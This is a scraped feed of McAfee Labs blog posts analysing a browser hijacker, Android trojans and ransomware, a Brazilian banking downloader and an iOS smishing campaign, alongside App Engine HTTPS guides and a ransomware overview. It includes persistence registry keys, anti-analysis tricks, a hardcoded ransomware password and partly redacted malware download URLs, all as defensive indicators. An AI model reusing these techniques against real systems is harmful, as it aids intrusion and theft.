]]>
https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-updates-configuration-file/feed/ 4
Bing.VC Hijacks Browsers Using Legitimate Applications https://securingtomorrow.mcafee.com/mcafee-labs/bing-vc-hijacks-browser-using-legitimate-applications/ https://securingtomorrow.mcafee.com/mcafee-labs/bing-vc-hijacks-browser-using-legitimate-applications/#respond Wed, 10 Aug 2016 18:38:50 +0000 https://blogs.mcafee.com/?p=51569 Browser hijackers are a type of malware that modifies a web browser’s settings without the user’s permission. Generally a browser hijacker injects unwanted advertising into the browser. It replaces the home page or search page with its own. It also steals cookies and can install a keylogger to fetch other sensitive information. McAfee Labs has recently …

The post Bing.VC Hijacks Browsers Using Legitimate Applications appeared first on McAfee Blogs.

]]>
Browser hijackers are a type of malware that modifies a web browser’s settings without the user’s permission. Generally a browser hijacker injects unwanted advertising into the browser. It replaces the home page or search page with its own. It also steals cookies and can install a keylogger to fetch other sensitive information. McAfee Labs has recently seen a variant of the hijacker Bing.vc.

Browser hijackers usually display the following symptoms:

  • Redirection to an unintended page.
  • Unusual pop-ups showing advertisements.
  • Browser may become unstable and exhibits frequent errors.
  • Problems accessing security-related sites (antimalware, antispyware).

Hijackers usually infect via one of three vectors:

  • Generally bundled with legitimate software applications.
  • As part of freeware.
  • Through email or a drive-by download.

Bing.vc is a malicious browser hijacker that installs itself into Internet Explorer, Firefox, and Chrome without the user’s consent.

  • Hash: d88443ff67f5c0713067e21982e31706
  • Description: * Drivers Utility Setup
  • Company: Lavians Inc.

We have come across several files from Lavians Inc. that look like legitimate applications but may pose a serious risk. We have observed that Lavians Inc. is repackaging clean applications with a browser hijacker to avoid suspicion and to increase its outreach. It usually hides in drivers utilities such as:

  • HP DESKJET F4580 Driver Utility Setup
  • DELL Inspiron 5100 Drivers Utility Setup
  • Acer Aspire ONE ZG5 Drivers Utility Setup

Intel Security advises users to not use third-party free utilities to fix driver issues. It’s always better to directly download drivers from the manufactures sites. Also carefully read the EULA/disclaimers before installing any software.

For our analysis, we examined the “DELL Latitude D810 Drivers Utility Setup” from Lavians Inc. This application installed without any problems and showed no suspicious behavior, but it hijacked our browser and changed the homepage to “hxxp://bing.vc/?r=15443&lnk=sct2” for all installed browsers and changed their default search engine to bing.vc. (This browser hijacker has nothing to do with Microsoft’s Bing search engine.)

Upon execution, Bing.vc added the following files onto our system:

  • C:\Documents and Settings\Administrator\Local Settings\Application Data\IconOverlayEx.dll
  • C:\Program Files\DELL Latitude D810 Drivers Utility\DPInst.exe
  • C:\Program Files\DELL Latitude D810 Drivers Utility\DriverBackUp.exe
  • C:\Program Files\DELL Latitude D810 Drivers Utility\driverlib.dll
  • C:\Program Files\DELL Latitude D810 Drivers Utility\DriverUpdateUtility.exe
  • C:\Program Files\DELL Latitude D810 Drivers Utility\unins000.dat
  • C:\Program Files\DELL Latitude D810 Drivers Utility\unins000.exe
  • C:\Program Files\DELL Latitude D810 Drivers Utility\update.dll
  • C:\Documents and Settings\All Users\Desktop\DELL Latitude D810 Drivers Utility.lnk
  • C:\Documents and Settings\All Users\Start Menu\Programs\DELL Latitude D810 Drivers Utility\DELL Latitude D810 Drivers Utility.lnk
  • C:\Documents and Settings\All Users\Start Menu\Programs\DELL Latitude D810 Drivers Utility\Uninstall DELL Latitude D810 Drivers Utility.lnk

All the new files were clean except for IconOverlayEx.dll (6D37DD857500184164947DD6C8DEE54A), the file responsible for redirection. When we tried to uninstall the application, it removed all other installed components except for IconOverlayEx.dll and added two registry entries:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ IconOverlayEx\: “{E1773C0E-364D-4210-B831-72F5A359E88F}”
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{E1773C0E-364D-4210-B831-72F5A359E88F}: “Icon Overlay Shell Extension”

The shell extension handler is a well-known trick that malware uses for persistence, and it requires no administrator rights. After uninstalling the application and restarting the machine, we saw that the home page had been changed in all the installed browsers without our knowledge. The malware changed the homepage after we uninstalled the application.

The following snippets illustrate the homepages changed to bing.vc:

Internet Explorer

Explorer_1

Chrome

Chrome_1

Firefox

FireFox_1

When we checked our browser properties, we saw that the targets were set for bing.vc:

Properties

When we started our browser, we saw the new homepage:

5

The FixBrowserRedirect link on the redirected home page sent us to the site hxxp://fixbrowserredirect.net/, where we learned about browser redirection and were offered the convenience of buying software to fix the redirection. How thoughtful!

6

Restoring the system

In addition to removing the registry entries and deleting IconOverlayEx.dll, users should also remove the malicious target in the properties of any installed browsers: hxxp://bing.vc/?r=15443&lnk=sct2.

7

Intel Security detects this type of browser hijacking as BingVC.

The post Bing.VC Hijacks Browsers Using Legitimate Applications appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/bing-vc-hijacks-browser-using-legitimate-applications/feed/ 0
Obfuscated Malware Discovered on Google Play https://securingtomorrow.mcafee.com/mcafee-labs/obfuscated-malware-discovered-google-play/ https://securingtomorrow.mcafee.com/mcafee-labs/obfuscated-malware-discovered-google-play/#respond Wed, 10 Aug 2016 07:23:28 +0000 https://blogs.mcafee.com/?p=51910 The McAfee Labs Mobile Malware Research team found early this week on Google Play a set of malware published by the developer account ValerySoftware: Each one of these apps have been downloaded and installed up to 500 times, which means up to 3,000 devices could be infected by this threat. Some characteristics of this malware: …

The post Obfuscated Malware Discovered on Google Play appeared first on McAfee Blogs.

]]>
The McAfee Labs Mobile Malware Research team found early this week on Google Play a set of malware published by the developer account ValerySoftware:

20160809 Google Play malware 1

20160809 Google Play malware 2

Each one of these apps have been downloaded and installed up to 500 times, which means up to 3,000 devices could be infected by this threat.

Some characteristics of this malware:

  • Encrypted and obfuscated at many levels
  • Downloads APK files from external sources
  • Tries to install apps from Google Play without user interaction
  • Displays or silently accesses ads from multiple vendors of advertisement development kits
  • Leaks sensitive information
  • Receives commands to open and close applications
  • Receives commands to install and uninstall applications

Negative user reviews on the market are likely caused by the fact that these malicious apps provide no features at all. This Trojan pretends to be a game patch but is only a WebView function that locally loads a couple of HTML resources after requesting device admin privileges—probably to avoid uninstallation after its disappointing execution:

20160809 Google Play malware 3a 20160809 Google Play malware 3b 20160809 Google Play malware 3c

In the background, however, the malware loads and decrypts multiple .dex files to start malicious activities that go unnoticed.

20160809 Google Play malware 4

The payload is obfuscated at many levels with a packer, an executable and linkable format (ELF) binary crafted to decrypt the malicious code from a file stored in the asset directory of the APK. The name of the assets.dat files, binary ELF, and classes related to the malware functionality are random to avoid detection. The strings are obfuscated inside the ELF binary and the encrypted malicious .dex files.

For example, a JSON file that contains URLs of control servers is obfuscated in the decrypted .dex file that is dynamically loaded by the original .dex:

20160809 Google Play malware 5

20160809 Google Play malware 6

Based in the domain owner’s information in this malware, we can tie the authors to a group of known cybercriminals in Europe who host and distribute malware.

To pass unnoticed, the malware authors incorporated antiemulation techniques in the malicious code so the behavior could not be detected by automated dynamic test environments.

Some web resources such as png images, JavaScript, and HTML code are inside the .dex files though coded in Base64. These resources are related to banners and ads that the malware can selectively display. These resources are not possible to observe in the main APK without decrypting the third .dex file, classes3.dex.

The authors have Trojanized apps created with the Android Robo Templates framework to gain revenue from multiple ad libraries that are injected in the payload .dex, denoted in the following configuration class:

20160809 Google Play malware 7

From the main .dex file we can observe a downloader listener class that is ready to download APKs from a given URL. In the red boxes we see other injected classes from the malware:

20160809 Google Play malware 8

Although Google has been successful in improving the policing of malicious apps, this threat is a reminder that malware can still be present even in official stores. Your first check before installing an app should be reviews by other users. Also check that permissions the app requests are related to its functionality, and review the developer profile to look for other apps. Intel Security reminds you that if an app looks suspicious, you should not install it.

McAfee Mobile Security detects this Android threat as Android/Agent.FL and alerts mobile users if the malware is present. Follow this link for more information about McAfee Mobile Security.

To keep up with the latest security threats, follow @IntelSec_Home on Twitter and like us on Facebook.

The post Obfuscated Malware Discovered on Google Play appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/obfuscated-malware-discovered-google-play/feed/ 0
Banload Trojan Targets Brazilians With Malware Downloads https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/ https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/#respond Tue, 09 Aug 2016 18:42:59 +0000 https://blogs.mcafee.com/?p=51823 McAfee Labs has recently encountered new variants of the Banload Trojan. Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or …

The post Banload Trojan Targets Brazilians With Malware Downloads appeared first on McAfee Blogs.

]]>
McAfee Labs has recently encountered new variants of the Banload Trojan. Banload has been around since the last decade. This malware generally arrives on a victim’s system through a spam email containing an archived file or bundled software as an attachment. In a few cases, this malware may also be dropped by other malware or a drive-by download. When executed, Banload downloads other malware, often banking Trojans, on the victim’s system to carry out further infections. We have observed this malware is using the functionality of the legitimate freeware Mep Installer to carry out the infection cycle.

Mep Installer builds installation programs for Windows based on Inno Setup. When Mep Installer executes, it creates a temporary installation file in the %TEMP% directory. This file has the following execution command:

banload_command

Mep Installer has its signature at the offset used in the preceding command:

Signature

This temporary installation file checks for the Mep Installer signature. If found, the file will read data from the third argument, which is a zlib-compressed file. The following is a snippet of the compressed data:

banload_ZlibCompress

The temporary installation file has a zlib decompression procedure. After decompression it drops the executable and runs it.

banload_Mep_Cycle

Infection chain
We have observed that Banload hooks the Mep Installer to trick users into installing the Portuguese version of this software. Once the user gets a Banload-infected Mep Installer, the malware uses same functionality as the genuine Mep Installer to avoid suspicion. The infected version carries the malware inside the zlib-compressed file.

The malware executes with the same command as with the legitimate Mep Installer:

banload_nal_command

Upon decompression the temp file drops the malware in the Windows directory, as shown below:

banload_mal_run

This malware uses the temporary file of the genuine installer to carry out the infection. Banload also displays a fake Mep Installer signature to appear to be legitimate.

banload_mal_cycle

Obscuring techniques
The malware uses a number of tricks to avoid execution in controlled environments such as virtual machines, sandboxes, etc. It also checks for network monitoring tools like CommView, TCPView, etc.

banload_tricks

The malware uses the following code patch to check for virtual machines:

banload_AntiVM

Banload terminates if the system’s language ID does not match to 0x0416, Portuguese.

banload_languagID

The malware also creates a mutex to ensure that only one instance of the malware is running at a time. The malware author uses standard RC4 algorithm to hide the payload’s URL. The encrypted URL looks like this:

banload_URl_encrypted

The following are some of the decrypted URLs from which the malware downloads payloads to carry out further infections:

  • http://[BLOCKED].br/modulorato/rato.zip
  • http:// [BLOCKED].com.br/banner.zip
  • http:// [BLOCKED].net.br/KL/Windows.zip
  • http:// [BLOCKED].com.br/backup/site/CACminde.zip
  • http:// [BLOCKED].com.br/KL/ljinguID.zip
  • http://maranhao. [BLOCKED].com.br/modulo/maranhao.zip
  • https://storage.googleapis.com/[BLOCKED]/ [BLOCKED].zip
  • https://storage.googleapis.com/[BLOCKED]/ [BLOCKED].zip
  • https://www.4shared.com/web/directDownload/[BLOCKED]/goqt4x. [BLOCKED]
  • https://www.4shared.com/web/directDownload/[BLOCKED]/gk5y6n. [BLOCKED]
  • https://storage.googleapis.com/[BLOCKED]/[BLOCKED].zip
  • https://www.4shared.com/web/directDownload/[BLOCKED]/gbo7i6. [BLOCKED]
  • http://www. [BLOCKED].org/ddlevelsfiles/imgs.zip
  • https://www.4shared.com/web/directDownload/[BLOCKED]/gpms2b. [BLOCKED]

The downloaded files are encrypted and are decrypted by the malware at runtime. The downloaded file may look like this:

banload_downloaded_encrypted

After decrypting this, we get this Zip file:

banload_downloaded_decrypted

Summary
This malware targets Brazilians by using the Mep Installer’s Portuguese version, checking for the Portuguese language ID, and most of the URLs listed above are from Brazil. Intel Security products detect this malware as Downloader-FBIC! Intel Security advises all users to keep their antimalware products up to date.

Analyzed hashes, SHA256

  • C5D3EC816D9029A5EDC6F0C64E1E9CAC02CF73A8A4828C3088C34FEF7338CC21
  • 98F38A78E8DCEE34DCFFB53D5A3E678E5572DDC2DFF2E0EF832FCBCEF3F5E7DC

 

The post Banload Trojan Targets Brazilians With Malware Downloads appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/feed/ 0
‘Cat-Loving’ Mobile Ransomware Operates With Control Panel https://securingtomorrow.mcafee.com/mcafee-labs/cat-loving-mobile-ransomware-operates-control-panel/ https://securingtomorrow.mcafee.com/mcafee-labs/cat-loving-mobile-ransomware-operates-control-panel/#respond Mon, 08 Aug 2016 18:45:16 +0000 https://blogs.mcafee.com/?p=51858 Recently the McAfee Labs Mobile Malware Research team found a sample of ransomware for Android with botnet capabilities and a web-based control panel service. The malware is running on a legitimate cloud service provider. The payload of this malware can encrypt a victim’s files, steal SMS messages, and block access to the device. In this …

The post ‘Cat-Loving’ Mobile Ransomware Operates With Control Panel appeared first on McAfee Blogs.

]]>
Recently the McAfee Labs Mobile Malware Research team found a sample of ransomware for Android with botnet capabilities and a web-based control panel service. The malware is running on a legitimate cloud service provider.

The payload of this malware can encrypt a victim’s files, steal SMS messages, and block access to the device. In this variant the malware’s authors include a picture of a cat:

20160808 ElGato 1

The ransomware constantly requests commands from the control server via HTTP, and the malicious server responds with the attackers’ instructions defined in the control panel. All of this traffic is transmitted without encryption.

20160808 ElGato 2

The commands that this threat can receive and perform are described in the following table:

Command Tag Description
0 Read commands HTTP request to control server for new commands
1 Send SMS message Send message from infected device
2 Remove all SMS Forward and delete all SMS messages
3 Encrypt SD files Encrypt all files on SD card and add extension .enc
4 Encrypt path in SD Encrypt all files on SD card in a specific path with extension .enc
5 Decrypt SD files Decrypt affected files on SD card that contain extension .enc
6 Decrypt path in SD files Decrypt files in a specific path on SD card
7 Lock Lock screen
8 Exit Kill application and exit

 

Reading commands from the control server:

20160808 ElGato 3

Some interesting features of this ransomware include the ability to encrypt specific files, steal SMS messages while forwarding them to the attacker and avoiding the victim’s message visualization, lock access to the device and the encryption using an AES algorithm with a hardcoded password. Unlike asymmetric encryption, using a hardcoded password makes decryption trivial. Moreover, the application code contains a method to decrypt the affected files; thus this ransomware app can be forced to decrypt files if one invokes the appropriate method.

Decrypting the affected files:

20160808 ElGato 4

The malicious server control panel for the botnet allows several remote commands:

  • Lock/unlock the screen (with a cat image).
  • Send SMS messages to the victim.
  • Encrypt/decrypt SD card memory files (with a hardcoded password).
  • Silently steal SMS messages from the victim’s device.

20160808 ElGato 5

McAfee Labs has informed the owners of the abused servers and has requested they take down the malicious service.

This ransomware variant looks like a demo version used to commercialize malware kits for cybercriminals because the control server interface is not protected and includes in the code words such as MyDificultPassw.

These kinds of threats are usually distributed by attackers who buy exploit kits on black markets and who want to attack a specific company or group of people. The attackers often use phishing campaigns, Trojanized apps, social media networks, or other social engineering techniques.

McAfee Mobile Security detects this Android threat as Android/Ransom.ElGato and alerts mobile users if the malware is present, while protecting them from any data loss. Follow this link for more information about McAfee Mobile Security.

For help in combatting ransomware, follow this link to the site No More Ransom!

To keep up with the latest security threats, follow @IntelSec_Home on Twitter and like us on Facebook.

 

The post ‘Cat-Loving’ Mobile Ransomware Operates With Control Panel appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/cat-loving-mobile-ransomware-operates-control-panel/feed/ 0
Setting Up HTTPS for Google App Engine Applications https://securingtomorrow.mcafee.com/mcafee-labs/setting-https-google-app-engine-applications/ https://securingtomorrow.mcafee.com/mcafee-labs/setting-https-google-app-engine-applications/#respond Mon, 08 Aug 2016 17:50:25 +0000 https://blogs.mcafee.com/?p=51813 Thursday, we posted advice on creating a custom domain name for an application developed with Google’s App Engine. In this post, we will learn how to add SSL support and force the App Engine application to use only SSL. Start by obtaining an SSL certificate for your domain from an authorized certificate authority. Consider following …

The post Setting Up HTTPS for Google App Engine Applications appeared first on McAfee Blogs.

]]>
Thursday, we posted advice on creating a custom domain name for an application developed with Google’s App Engine. In this post, we will learn how to add SSL support and force the App Engine application to use only SSL.

Start by obtaining an SSL certificate for your domain from an authorized certificate authority. Consider following elements while buying the certificate:

  • The name of the certificate should match the domain name. The certificate can be a single domain or multidomain but should not be a wildcard certificate.
  • The certificate should be signed using a strong signing algorithm such as SHA-256.
  • For financial and other sensitive applications, it is best to have an extended validation for the certificate.

Before adding SSL support, make sure you have added a custom domain name for your application. If not already done so, you can refer to this blog and follow these steps:

Regardless of whether you use a custom domain for your application; it is important to note that by default HTTPS is not strictly enforced for App Engine applications. This means your web application will be available over plain HTTP and HTTPS. HTTP is a clear-text protocol, and sensitive information is sent unencrypted over the network; that is not safe. Now let’s see how we can enforce HTTPS for the applications developed using App Engine:

Add these two lines in the file app.yaml in the folder WEB-INF:

url: .*
secure: always

For Java applications, we can achieve the same effect through the file web.xml:

<web-app>
………
<!– Enforcing HTTPS –>
<security-constraint>
<web-resource-collection>
<web-resource-name>HTTPS</web-resource-name>
<url-pattern>/*</url-pattern>
</web-resource-collection>
<user-data-constraint>
<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
………
</web-app>

HTTP Strict Transport Security

The preceding method of enforcing HTTPS works via redirection. If a user issues a request over HTTP, it will be redirected to HTTPS. The problem with this initial HTTP request is that it is vulnerable to a man-in-the-middle attack, allowing an attacker to redirect the user to a malicious page. For example, a user connects to an open Wi-Fi service at an airport or café and requests web application over HTTP. Because this Wi-Fi is controlled by the attacker, the user is redirected to a malicious page instead of the real web application. To protect users from such scenarios, a web application can make use of the HTTP Strict Transport Security (HSTS) header. Through HSTS, a web application can instruct a browser that the site can be accessed only using HTTPS.

HSTS can solve this problem only if a user has previously accessed the web application over HTTPS.

To use HSTS headers with the App Engine, the domain needs to be whitelisted by contacting appengine-security-headers@google.com.

 

Reference

https://cloud.google.com/appengine/docs/java/console/using-custom-domains-and-ssl

This blog post was written by Piyush Mittal.

The post Setting Up HTTPS for Google App Engine Applications appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/setting-https-google-app-engine-applications/feed/ 0
Creating a Custom Domain Name with a Google App Engine Application https://securingtomorrow.mcafee.com/mcafee-labs/creating-custom-domain-name-google-app-engine-application/ https://securingtomorrow.mcafee.com/mcafee-labs/creating-custom-domain-name-google-app-engine-application/#comments Fri, 05 Aug 2016 00:18:56 +0000 https://blogs.mcafee.com/?p=51806 Google’s App Engine is a Platform as a Service (PaaS) for developers that provides features and frameworks to quickly and easily build scalable web applications. Developers can create applications and deploy them to the App Engine. When a web application is created using the App Engine, the application is assigned a unique project ID. Developers …

The post Creating a Custom Domain Name with a Google App Engine Application appeared first on McAfee Blogs.

]]>
Google’s App Engine is a Platform as a Service (PaaS) for developers that provides features and frameworks to quickly and easily build scalable web applications. Developers can create applications and deploy them to the App Engine. When a web application is created using the App Engine, the application is assigned a unique project ID. Developers can create a custom project ID or they can choose a default generated project id. The URL to access the application will follow the form “http://<project-id> .appspot.com,” a subdomain of appspot.com. For example, if the project ID is demo12, then the URL will be http://demo12.appspot.com. However, employing this sort of domain name can create multiple security issues:

  • A phishing attack could use a similar-looking web application and domain name. For example, an attacker could create the malicious application demo13.appspot.com, which is similar to the legitimate name demo12.appspot.com. Because the application is assigned to a subdomain of appspot.com, the name of the malicious application looks very convincing and hard to differentiate from the original name.
  • If the DNS record for *.appspot.com is entered by mistake or through DNS cache poisoning, then the application will be adversely affected.
  • The domain is assigned a wildcard certificate, which creates more headaches for the developers because they need to ensure the path and domain of cookies are properly constrained.
  • The certificate is controlled by Google. Thus for any certificate-related errors—such as expiration, strong or weak signing algorithms, trusted or untrusted certificate signing authorities, or certificates not self-signed—the application will be dependent on Google. Because the certificate is a wild card, extended validation of certificates cannot be enforced, though this is recommended for financial applications.

Apart from security issues, most organizations want their customers to see a custom domain name instead a subdomain of appspot.com. Thus it is necessary to have a custom domain. One can get a domain name from a domain name registrar and then use it with the App Engine or buy one from within the Google portal.

Follow these steps to add a custom domain name for your application:

  • Log in to the Google Cloud Platform Console.
  • Navigate to “App Engine” and “Settings” as shown in the following screenshot or enter https://console.cloud.google.com/appengine/settings/domains in the address bar. Click on the “Custom Domains” tab and then on “Add a custom domain.” If you do not yet have a custom domain name, buy one from a domain name registrar or click on “Register a new domain” to buy one from Google. 20160804 Domain 1
  • Select “Verify a new domain” from and enter your custom domain name as shown in the following screenshot. Click on “Verify” and follow the steps to prove that you own that custom domain.
    20160804 Domain 2
  • The domain name is now verified and should be updated under the “Custom Domains” tab. If not, click on “Refresh domains.”
  • Select the application for which to you want to associate this custom domain name and click “Submit mappings.”
  • Note the DNS records displayed. Go to your domain registrar website and update your DNS configuration with the noted DNS records. It can take some time for the changes to propagate, depending on your DNS provider.
  • Confirm access to the application using the custom domain name.

 

Reference

https://cloud.google.com/appengine/docs/java/console/using-custom-domains-and-ssl#adding_a_custom_domain_for_your_application

This blog post was written by Piyush Mittal.

The post Creating a Custom Domain Name with a Google App Engine Application appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/creating-custom-domain-name-google-app-engine-application/feed/ 1
Active iOS Smishing Campaign Stealing Apple Credentials https://securingtomorrow.mcafee.com/mcafee-labs/active-ios-smishing-campaign-stealing-apple-credentials/ https://securingtomorrow.mcafee.com/mcafee-labs/active-ios-smishing-campaign-stealing-apple-credentials/#respond Fri, 29 Jul 2016 04:25:30 +0000 https://blogs.mcafee.com/?p=51621 Intel Security Mobile Research recently found an active phishing campaign targeting iOS users via SMS messages. The message tells users that their Apple accounts have been temporarily locked to trick them into accessing a phishing site and steal the real Apple credentials. Here is an example of an SMS message from this campaign: The message pretends to be …

The post Active iOS Smishing Campaign Stealing Apple Credentials appeared first on McAfee Blogs.

]]>
Intel Security Mobile Research recently found an active phishing campaign targeting iOS users via SMS messages. The message tells users that their Apple accounts have been temporarily locked to trick them into accessing a phishing site and steal the real Apple credentials. Here is an example of an SMS message from this campaign:

iOS_Smishing_SMS

The message pretends to be an email using familiar fields such as FRM, SUBJ, and MSG. According to bit.ly, the shortened URL in the preceding message was created on July 27 and points to a PHP file in a hacked website:

iOS_Smishing_link1_done
The PHP file redirects victims to another hacked website with a web page that pretends to be from Apple and tells users that their Apple accounts have been temporarily locked and that they need to “safely” re-confirm the account information by clicking on a link that appears to go to Apple:

iOS_Smishing_FakeSite
The fake website also threatens victims with the closure of their accounts if the “verification” is not done before a specific date (in this case July 28, which confirms that the campaign is active). The bogus notice includes a message in red asking readers to mark the message as “Not Spam,” suggesting that this site was initially prepared to target users via email. Users who click on the link are redirected to an “Apple” phishing site that will steal the credentials:

iOS_Smishing_Phishing
According to bit.ly, the shortened link in the smishing message has been clicked more than 1,700 times, mostly on July 27:

iOS_Smishing_clicks1
The origin of most of the clicks is from the United States:

iOS_Smishing_clicks1_countries

Another active campaign started on July 22 with the following SMS:
FRM:apps
SUBJ:New message
MSG:i>¿Urgent!! <phishing_url>
In this case, the campaign has archived almost 6,000 clicks, most of them on July 22:

iOS_Smishing_clicks2
Again, most of the clicks are from United States:

iOS_Smishing_clicks2_countries
Previous campaigns (no longer active) offered more specific messages about the suspension of an Apple account but always used the same email template (FRM, SUBJ, and MSG):

FRM:<number>@text.att.net
SUBJ: New
MSG:i>¿Your iTunes has been suspended until this process is completed <phishing_url>

Most of the time cybercriminals do not need advanced exploits and attacks to gain unauthorized access to systems or accounts. A phishing website and message can be enough to obtain credentials from victims and get full access to accounts.

How can you protect yourself from this type of attack? In general be suspicious of any unwanted SMS messages from unknown numbers and think before you click. Do some research and save yourself a lot of grief.

The post Active iOS Smishing Campaign Stealing Apple Credentials appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/active-ios-smishing-campaign-stealing-apple-credentials/feed/ 0
Taking Steps to Fight Back Against Ransomware https://securingtomorrow.mcafee.com/mcafee-labs/taking-steps-to-fight-back-against-ransomware/ https://securingtomorrow.mcafee.com/mcafee-labs/taking-steps-to-fight-back-against-ransomware/#respond Wed, 27 Jul 2016 23:54:00 +0000 https://blogs.mcafee.com/?p=51495 Ransomware is an attack in which malware encrypts files and extorts money from victims. It has become a favorite among cybercriminals because it is easy to develop, simple to execute, and does a very good job of compelling users to pay to regain access to their precious files or systems. Almost anyone and every business …

The post Taking Steps to Fight Back Against Ransomware appeared first on McAfee Blogs.

]]>
Ransomware Protections5Ransomware is an attack in which malware encrypts files and extorts money from victims. It has become a favorite among cybercriminals because it is easy to develop, simple to execute, and does a very good job of compelling users to pay to regain access to their precious files or systems. Almost anyone and every business is a potential victim. More important, to the delight of extortionists, people are paying.

Ransomware exists in several forms. The weakest can lock an Internet browsing session with intimidating warnings of government surveillance and demands for immediate payment. These rely on fear tactics and deny the user the ability to easily navigate away from the warning page, thus appearing to have locked the system. This threat can often be solved by simply closing the browser and restarting. This method is how many of the original ransomware schemes began, but it did not result in much financial gain for criminals.

The use of encryption to lock selected user files is now the most common approach. Attackers either compromise the system via exploitation or simply by persuading the user via social engineering into launching malicious software. Either way, the malware seeks specific file types and encrypts them with a public key. The malware notifies the victims that many files are encrypted and they must pay to receive the associated private key to unlock them. Users are directed to send cryptocurrency to anonymous accounts. This practice has proven very successful because the encryption strength is exceptionally strong and the targeted files are meaningful to the victims.

The third type of ransomware also leverages encryption, but targets operating system files, effectively holding the entire boot sequence hostage. The malware encrypts the master boot record, and deletes Windows shadow copies and other system-recovery capabilities.

Ransomware is a relatively new method of attack that can rarely be stopped by traditional security controls. Attack methods include phishing, maliciously configured websites and online ads, Trojans embedded in downloads, compromised devices, and poisoned email attachments. Ransomware represents a shift in tactics from traditional data breach exfiltration and website-distributed denial-of-service attacks. Ransomware undermines the integrity of specific files and systems, placing them under control of the adversary, rather than jeopardize the confidentiality or general availability of an environment. This change in tactic is troublesome for the current generation of security tools and practices, which are struggling to adapt to the new threat.

Industry forecast
Ransomware has risen dramatically during the past couple of years.  The McAfee Labs Threats Report March 2016from Intel Security, counts more than six million unique samples of ransomware in the wild. Industry experts believe ransomware will remain a major and rapidly growing threat in 2016 and beyond. The financially motivated actors relish their great triumphs with this approach and the significant sums of money being made. Research by the Cyber Threat Alliance showed one variant in 2015, CryptoWall 3, caused an estimated US$325 million in losses. This success fuels technical advancements, attracting more attackers, strengthening support infrastructures, and enhancing targeting techniques.

Cybercriminals, large and small, have fully embraced ransomware. Attackers canvas broad audiences with indirect campaigns, indiscriminately seeking easy targets. Floods of phishing emails, malicious ads that lead to infected sites, and Trojans embedded in applications infect the unsuspecting. A wide range of common file types are encrypted and a relatively low ransom is set to make the option of paying more attractive. Separately, some threat agents apply direct targeting techniques that single out specific victims. They may create customized and elaborate phishing campaigns, waterhole attacks, or directly exploit system vulnerabilities to compromise individual hosts. Attackers can target victims through the use of exploit kits—such as Angler, Magnitude, and Nuclear—to deliver ransomware payloads like CryptXXX and Locky. Exploit kits allow ransomware to run, target files most valued by that particular victim, and establish a high ransom.

Technically, the encryption algorithms and implementation techniques of ransomware have become stronger. Early variants were easily undermined by security professionals due to poor implementations, but nowadays most ransomware code is at a level that cannot be broken by anticryptographic methods or by identifying weaknesses in key management. Ransomware developers also bundle their code with more features and capabilities. Advanced malware can see whether it is running in a security sandbox, establish secure connections to control infrastructures, use unique public key infrastructure key pairs for each victim, combine multiple infection techniques, establish backdoors for later use, and destroy the system if attempts are made to evict the code. Attackers are creative and will maximize every opportunity. For example, the Petya ransomware was recently updated to include Mischa code. Petya attempts to encrypt the master boot record, but if it fails it reverts to using Mischa as a file-encrypting scheme. Ransomware also mixes with botnets to amplify its reach. The Dridex botnet is well known to spread Locky and Cerber ransomware.

Total Ransomware Q2 2016For the foreseeable future, ransomware will remain a major and rapidly growing threat, fueled by anonymizing networks and payment methods. The business models and infrastructure underpinning ransomware are becoming stronger. Most of these attacks continue to use Bitcoin to anonymously transfer funds from victims to the criminals. Popular anonymous networks, such as TOR, mask the location and owners of the control servers. With so much money at stake, attackers realize they are getting a lot of attention from law enforcement agencies, and they work very hard at remaining in the shadows. Other advances include less-than-scrupulous developers who offer the software and hosting services to upstart criminals seeking to enter the ransomware arena. Ransomware-as-a-Service is now a real business opportunity. Anyone can purchase or rent such a service; the infrastructure host will handle all the back-end procedures in return for a slice of the profits. This partnership allows for specialization and the recruitment of less technical fraudsters to join in the activities.

At its core, ransomware is about extorting money. Although targeting consumers who blunder into their traps will continue, the most sophisticated threats target industries that must maintain access to crucial data and are willing to pay large sums. So far in 2016, the healthcare sector is one of several that has been aggressively targeted. Medical facilities need access to systems, care devices, and patient records. Several hospitals have been specifically targeted by ransomware, causing disruption to services. Transportation, financial, and legal sectors are other fields that share a similar profile and are now targets. New technology will also be victimized. As consumers and businesses rely on new devices and services, that reliance creates an opportunity for this type of extortion. Imagine getting into your smart car to drive home and seeing a ransomware screen. With vehicle operations blocked, you are now effectively stranded. How many people would pay a small “fee” to get their car started?

Advice for fighting ransomware
Ransomware is very challenging to combat. No one solution or practice can solve the problem. The ransomware development community is very agile in countering defenses introduced by security vendors. They will look for easy victims, targets with value, and work to exploit new technologies to keep the money flowing in their direction.

The best defense is to stop ransomware before it arrives on a system, or block an attacker’s attempts to gain access. The next best opportunity is to detect the malware and rapidly evict it before it can cause damage. Malware must be downloaded before it can launch, which provides a narrow window of opportunity to contain the threat if it can be detected in time. Rapid detection, however, is difficult because adaptive attackers are very successful at creating problems for security.

Once ransomware starts, the situation quickly gets grim. Most ransomware infections encrypt files in a way not recoverable without the private key, held by the extortionist. Even if victims pay the ransom, there is no guarantee they will get their files back, as they are dealing with untrustworthy parties.

